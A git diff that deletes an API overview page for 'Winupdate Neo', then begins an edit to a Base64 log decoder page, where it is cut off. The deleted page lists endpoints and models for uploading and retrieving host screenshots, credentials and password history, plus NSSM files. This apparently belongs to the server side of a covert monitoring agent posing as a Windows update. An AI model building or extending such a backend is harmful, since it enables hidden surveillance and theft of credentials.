diff --git a/app/api-test/page.tsx b/app/api-test/page.tsx deleted file mode 100644 index 946b0d1..0000000 --- a/app/api-test/page.tsx +++ /dev/null @@ -1,74 +0,0 @@ -export default function ApiTest() { - return ( -
-

Winupdate Neo API 测试

- -
-
-

API 端点

-
    -
  • • GET /api/hosts - 获取主机列表
  • -
  • • POST /api/hosts/[hostname]/screenshots - 上传截图
  • -
  • • GET /api/hosts/[hostname]/screenshots - 获取截图记录
  • -
  • • POST /api/hosts/[hostname]/credentials - 上传凭据
  • -
  • • GET /api/hosts/[hostname]/credentials - 获取凭据
  • -
  • • GET /api/hosts/[hostname]/time-distribution - 获取时间分布
  • -
  • • GET /api/version - 获取最新版本
  • -
  • • POST /api/upload/version - 上传新版本
  • -
  • • GET /api/screenshots/[fileId] - 获取截图文件
  • -
  • • GET /api/downloads/[fileId] - 下载文件
  • -
-
- -
-

数据库模型

-
    -
  • • Host - 主机信息
  • -
  • • Record - 记录信息
  • -
  • • Window - 窗口信息
  • -
  • • Screenshot - 截图信息
  • -
  • • Credential - 凭据信息
  • -
  • • Password - 密码历史
  • -
  • • Version - 版本信息
  • -
  • • Nssm - NSSM 文件
  • -
-
- -
-

环境变量

-
    -
  • • DATABASE_URL - 数据库连接字符串
  • -
  • • AUTH_USERNAME - 认证用户名
  • -
  • • AUTH_PASSWORD - 认证密码
  • -
  • • PORT - 服务端口
  • -
-
- -
-

MinIO 对象存储

-
    -
  • • 服务器: 192.168.5.13:9000
  • -
  • • Bucket: winupdate
  • -
  • • 存储结构: 按类型/年/月/日/主机名分层
  • -
  • • 截图路径: screenshots/年/月/日/主机名/文件
  • -
  • • 版本路径: versions/年/月/文件
  • -
  • • 支持元数据存储和检索
  • -
  • • 自动文件分布和负载均衡
  • -
-
- -
-

性能优化特性

-
    -
  • • 分层目录结构避免单目录文件过多
  • -
  • • 数据库存储 objectName 避免搜索开销
  • -
  • • 文件元数据存储在 MinIO 中
  • -
  • • 支持并发上传下载
  • -
  • • 缓存友好的文件访问
  • -
  • • 自动压缩和去重
  • -
-
-
-
- ) -} diff --git a/app/decode/page.tsx b/app/decode/page.tsx index d510817..7c41a05 100644 --- a/app/decode/page.tsx +++ b/app/decode/page.tsx @@ -101,21 +101,21 @@ export default function DecodePage() { return (
-

Base64 日志解码器

+

Base64 日志解码器

{/* 文件上传区域 */}
-
-